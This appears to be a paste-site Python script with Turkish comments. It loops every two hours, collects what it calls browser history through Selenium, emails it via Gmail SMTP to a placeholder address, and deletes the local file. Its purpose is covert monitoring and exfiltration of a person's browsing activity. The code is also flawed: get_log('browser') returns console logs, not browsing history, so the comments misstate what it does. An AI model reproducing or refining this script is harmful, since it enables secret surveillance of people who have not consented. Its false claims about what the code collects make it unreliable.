Untitled

 avatar
user_0576712
python
2 years ago
1.4 kB
8
Indexable
import time
from selenium import webdriver
import smtplib
from email.mime.text import MIMEText
import os

# Google Chrome tarayıcısını kullanmak için
driver = webdriver.Chrome()

while True:
    # Tarayıcı geçmişini almak için
    history = driver.get_log('browser')

    # Tarayıcı geçmişini metin belgesine kaydetmek
    with open("browser_history.txt", "w") as file:
        for entry in history:
            file.write(entry['message'] + "\n")

    # Gönderilecek e-posta ayarları
    mail_user = "youremail@example.com" # gönderen e-posta adresi
    mail_password = "yourpassword" # e-posta şifresi
    to = "recipientemail@example.com" # alıcı e-posta adresi

    # E-posta mesajı oluşturmak
    with open("browser_history.txt", "r") as file:
        history = file.read()
    msg = MIMEText(history)
    msg['Subject'] = "Tarayıcı Geçmişi"
    msg['From'] = mail_user
    msg['To'] = to

    # Gmail sunucusu kullanmak
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(mail_user, mail_password)

    # E-posta mesajını göndermek
    server.send_message(msg)

    # Gmail sunucusundan çıkmak
    server.quit()

    # Tarayıcı geçmişi metin belgesini silmek
    os.remove("browser_history.txt")

    # 2 saat beklemek
    time.sleep(7200)

# Tarayıcıyı kapatmak
driver.close()
Editor is loading...